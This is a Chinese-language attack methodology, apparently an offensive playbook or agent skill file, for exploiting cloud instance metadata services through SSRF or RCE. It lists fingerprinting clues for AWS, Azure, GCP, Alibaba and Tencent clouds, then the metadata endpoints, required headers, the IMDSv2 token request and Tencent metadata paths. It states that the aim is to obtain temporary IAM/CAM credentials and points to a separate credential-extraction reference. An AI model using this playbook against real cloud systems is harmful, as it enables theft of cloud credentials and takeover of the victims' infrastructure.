云元数据利用方法论

IMDS 是从 SSRF/RCE 到云控制面的桥梁, , 一个 HTTP 请求就能获取 IAM/CAM 临时凭据。

⛔ 深入参考（必读）

• 各云平台凭据提取详细命令、AWS/腾讯云快速利用、元数据信息路径 → references/credential-extraction.md

---

Phase 1: 确认云环境

线索	云平台
x-amz-* Header, Server: AmazonS3	AWS
x-ms-* Header, .azurewebsites.net	Azure
.googleapis.com, x-goog-* Header	GCP
.aliyuncs.com, x-oss-* Header	阿里云
.myqcloud.com, x-cos-* Header, Server: tencent-cos	腾讯云

Phase 2: 元数据端点速查

# AWS (IMDSv1, 直接 GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2, 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# 阿里云
http://100.100.100.200/latest/meta-data/

# 腾讯云（CVM/轻量应用服务器/Lighthouse）
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/

腾讯云元数据完整路径

# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone